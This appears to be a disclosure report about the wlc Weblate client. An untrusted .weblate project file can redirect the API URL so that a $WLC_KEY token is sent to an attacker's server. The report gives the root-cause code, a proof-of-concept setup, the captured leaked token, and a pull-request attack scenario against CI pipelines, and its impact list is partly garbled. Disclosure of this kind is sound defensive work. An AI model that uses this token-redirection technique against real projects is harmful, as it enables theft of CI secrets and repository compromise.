Weblate · Report #3825141
API token sent to URL dictated by an untrusted project .weblate file
How it was found
wlc discovers project configuration by walking the current working directory and
every parent directory for .weblate / .weblate.ini / weblate.ini
(WeblateConfig.find_project_config). That file sets the API url. The API key,
however, is resolved independently and is not bound to a trusted URL source:
with $WLC_KEY set (the project's own documented CI pattern) the secret is sent to
whatever URL the discovered config names. If the .weblate is attacker-controlled
— a malicious pull request to a public repo, a cloned/untrusted repo, a planted
file in any ancestor directory — running any wlc command ships the secret API
token to an attacker-chosen server. This is the same "token must not egress to an
unexpected origin" property that normalize_request_url defends for server-
returned URLs, left open for the configured URL.
Technical Detail
Root cause
# wlc/config.py:67-94 @ 7c01e2f
@staticmethod
def find_project_config() -> str | None:
"""Find the nearest project configuration file."""
cwd = os.path.abspath(".")
prev = None
while cwd != prev: # walk CWD and every ancestor
for name in (".weblate", ".weblate.ini", "weblate.ini"):
conf_name = os.path.join(cwd, name)
if os.path.isfile(conf_name):
return conf_name # untrusted file controls [weblate] url
prev = cwd
cwd = os.path.dirname(cwd)
return None
def load(self, path=None) -> None:
if path:
...
else:
if config := self.find_config(): # user/global config
self.read(config)
if config := self.find_project_config(): # project config OVERRIDES url
self.read(config)
...
# wlc/config.py:101-113 @ 7c01e2f
def get_url_key(self) -> tuple[str, str]:
url = (
self.cli_url
or os.environ.get("WLC_URL", "")
or cast("str", self.get(self.section, "url")) # <- from .weblate
)
key = (
self.cli_key
or os.environ.get("WLC_KEY", "") # <- the secret, origin-unbound
or cast("str", self.get("keys", url, fallback=""))
)
return url, key
The [keys] lookup is origin-scoped (self.get("keys", url)), reflecting the
maintainers' intent that a key belongs to a specific URL (CVE-2026-22251 hardening).
But $WLC_KEY short-circuits that scoping: it is returned for any url,
including a URL that came from an untrusted .weblate. The token is then attached
in invoke_request (Authorization: Token {self.key}, client.py:240-241) and sent
to that URL. normalize_request_url does not help: it only constrains URLs the
server returns relative to the configured base; the configured base itself is the
attacker's value.
Proof of Concept
Setup
git clone https://github.com/WeblateOrg/wlc && cd wlc
git checkout 7c01e2f5a5bed48e50a134c96951a5b212f446a4
python3 -m venv venv && . venv/bin/activate
pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete
Trigger
python3 c01_weblate_config_exfil.py
The script writes an attacker .weblate (url = http://127.0.0.1:9100/api/) into
a temp repo, cds into it, exports WLC_KEY, and runs wlc list-projects.
Observable result
{F6153091}
attacker collector captured:
Host header : 127.0.0.1:9100
Authorization: Token ci-secret-WLC_KEY-do-not-leak
RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL ***
Impact
- Direct primitive: theft of the Weblate API token by anyone who can influence a config file on the victim's discovery path.
- Chain potential (per 05-chain-analysis):
- Downstream: the token grants the attacker the victim's full Weblate API
capability (read/write translations;
commit/push/pull/reseton linked VCS repos; object deletion; project/component management if privileged). - Cross-component: in CI this token is a pipeline secret; its loss can cascade into the connected source repositories the Weblate project pushes to.
- Downstream: the token grants the attacker the victim's full Weblate API
capability (read/write translations;
- Realistic exploitation: a public project runs
wlc push/wlc pullin CI withWLC_KEYas a secret and the URL taken from the checked-out repo (the documented pattern). An attacker opens a pull request that adds/edits.weblateto pointurlat their server (or, for a self-hosted runner, any reachable internal host). When CI runs wlc, the secret token is delivered to the attacker.